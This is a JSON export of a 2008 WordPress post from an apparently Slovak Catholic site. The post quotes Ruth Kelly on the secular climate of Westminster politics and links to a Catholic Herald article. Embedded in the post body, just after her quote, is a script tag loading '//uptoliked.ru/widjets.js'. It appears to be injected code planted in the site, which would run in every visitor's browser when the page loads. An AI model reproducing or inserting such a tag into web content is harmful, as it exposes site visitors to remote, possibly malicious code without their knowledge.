{"id":821,"date":"2008-10-03T21:43:05","date_gmt":"2008-10-03T20:43:05","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=821"},"modified":"2008-10-04T10:56:06","modified_gmt":"2008-10-04T09:56:06","slug":"ruth-kelly-laments-new-secularism-at-english-politics","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=821","title":{"rendered":"Ruth Kelly laments new secularism at Westminster (at English politics)"},"content":{"rendered":"<p><span class=\"style14\"><strong>Ruth Kelly<\/strong>, who announced her resignation from the Cabinet last week, <strong>has hit out at the secular atmosphere of English politics, claiming that it is difficult to be a Christian in Westminster<\/strong>.<\/span><\/p>\n<p><span class=\"style14\">She said: &#8222;It is difficult to be a Christian in politics these days. The public debate has become more secular and believers are portrayed as a bit odd. That doesn&#8217;t reflect the reality in communities, where churchgoing and belief is considered normal.&#8220; <script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/span><\/p>\n<p><span class=\"style14\">Miss Kelly was one of three Cabinet Ministers &#8211; along with Des Browne, the Defence Secretary, and Paul Murphy, the Welsh Secretary &#8211; who came under intense pressure to vote against their conscience by supporting the Government-backed Bill. <\/span><\/p>\n<p><span class=\"style14\"><a href=\"http:\/\/www.catholicherald.co.uk\/articles\/a0000384.shtml\"><span style=\"color: #3bc341;\">Ruth Kelly laments new secularism at Westminster<\/span><\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ruth Kelly, who announced her resignation from the Cabinet last week, has hit out at the secular atmosphere of English politics, claiming that it is difficult to be a Christian&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=821\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[12],"class_list":["post-821","post","type-post","status-publish","format-standard","hentry","category-6","tag-pridat-novu-nalepku"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/821","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=821"}],"version-history":[{"count":13,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/821\/revisions"}],"predecessor-version":[{"id":866,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/821\/revisions\/866"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=821"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=821"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=821"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}